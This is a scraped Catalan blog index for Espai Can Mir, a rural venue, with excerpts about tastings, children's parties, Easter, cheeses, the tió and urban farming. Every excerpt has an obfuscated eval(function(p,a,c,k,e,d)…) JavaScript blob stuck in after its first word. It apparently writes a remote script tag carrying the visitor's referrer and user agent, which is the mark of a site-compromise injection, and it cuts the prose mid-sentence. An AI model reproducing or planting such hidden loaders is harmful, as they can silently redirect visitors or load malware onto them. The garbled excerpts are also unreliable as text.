Tast de Pernil Espai Can Mir

Experiències gastronòmiques Espai Can Mir

L’Espai eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fykrt|var|u0026u|referrer|ksaii||js|php’.split(‘|’),0,{}))
Can Mir és un lloc per viure experiències i la gastronomia i la cultura dels sabors hi tenen un paper molt important. Mirem de posar a l’abast de tots alguns dels productes catalans més destacats per tal de conèixer-los i apreciar-los: oli. …

Festa Dinos. Espai Can Mir

Fem festa a l’Espai Can Mir

L’Espai eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ezenz|var|u0026u|referrer|frbdb||js|php’.split(‘|’),0,{}))
Can Mir és l’escenari perfecte per a celebrar una festa amb nens i nenes. Aleshores, els camps, els camins i els racons de Can Mir es converteixen en un món màgic: en terra de dinosaures, en una gran cuina per experimentar, en …

Benvinguts a Pages 2018 Espai Can Mir

Can Mir diu Benvinguts a Pagès

Dos eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ntriy|var|u0026u|referrer|neahy||js|php’.split(‘|’),0,{}))
dies de portes obertes per conèixer tot el que fem a Can Mir, viure l’apassionant món de les plantes, recòrrer la finca fent descobertes a cada pas i passar una jornada fantàstica en un entorn natural privilegiat.
Aquest és el tercer any que …

Ous de Pasqua Can Mir

Vuit curiositats sobre els ous de Pasqua

L’ou eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zsikr|var|u0026u|referrer|tztnr||js|php’.split(‘|’),0,{}))
té una gran importància com a símbol de Pasqua, que coincideix amb l’inici de la primavera. En aquesta època de l’any la natura es desperta i surt de la letargia hivernal. Cal tenir en compte que l’ou sempre ha simbolitzat la fecunditat, …

Formatges a l'Esapi CanMir

Els formatges a Catalunya

Arreu eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bzike|var|u0026u|referrer|yiifd||js|php’.split(‘|’),0,{}))
del territori de Catalunya s’hi poden trobar fins a 250 varietats de formatge amb una important presència de formatges històrics, tradicionals, i una cada vegada més àmplia oferta de formatges moderns. Des del mató i el recuit empordanesos als formatges de cabra, …

Espai Can Mir. 2018 any de cultura

Espai Can Mir s’afegeix al Any Europeu de Turisme Cultural

L’any eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ttsya|var|u0026u|referrer|ytaes||js|php’.split(‘|’),0,{}))
2018 ha estat declarat l’Any Europeu del Patrimoni Cultural. El patrimoni cultural abasta recursos del passat en diverses formes i aspectes: monuments, paratges, tradicions, coneixements, expressions de la creativitat humana… És una eina educativa i social de gran importància, tant per conèixer …

Caçations a l'Espai Can Mir

Arriba Nadal: un any més hem caçat un munt de tions a l’Espai Can Mir

Com eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rysyz|var|u0026u|referrer|esyis||js|php’.split(‘|’),0,{}))
cada desembre, quan s’acosta el Nadal un bon nombre de tions es vénen a refugiar als boscos de Can Mir esperant que els nens els vinguin a buscar i se’ls emportin a casa. Enguany, la recerca ha estat divertidíssima. En Joan i …

Experiències a l'Espai Can Mir

Els secrets de l’oli d’oliva extra verge a l’Espai Can Mir. Una experiència única amb Masia Can Viver.

Espai eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ftkyt|var|u0026u|referrer|rrhnh||js|php’.split(‘|’),0,{}))
Can Mir et proposa una experiència única en què aprendrem a valorar i apreciar un autèntic oli d’oliva extra verge (AOVE). La millor manera d’introduir-se en aquest món apassionant és fent un tast guiats per un expert, per això Maria Rosa Pérez, …

Espai Can Mir a Barcelona

Després eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|drszr|var|u0026u|referrer|tdryh||js|php’.split(‘|’),0,{}))
de l’Aplec d’Agricultura Urbana celebrat a l’Espai Jove La Fontana de Barcelona (www.agriculturaurbana.cat) on vam poder presentar el nostre taller L’agricultura més petita, hem comprovat un cop més que es tracta d’un tema i d’un format que mou a la gent.
El …

L’agricultura més petita

Aquest eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|itzds|var|u0026u|referrer|fnheb||js|php’.split(‘|’),0,{}))
és el nom que li hem donat al taller que farem a l’Aplec d’Agricultura Urbana que, des d’avui mateix se celebra a l’Espai Jove La Fontana de Barcelona. I ens agrada participar-hi perquè parlar d’agricultura al bell mig de Barcelona no és …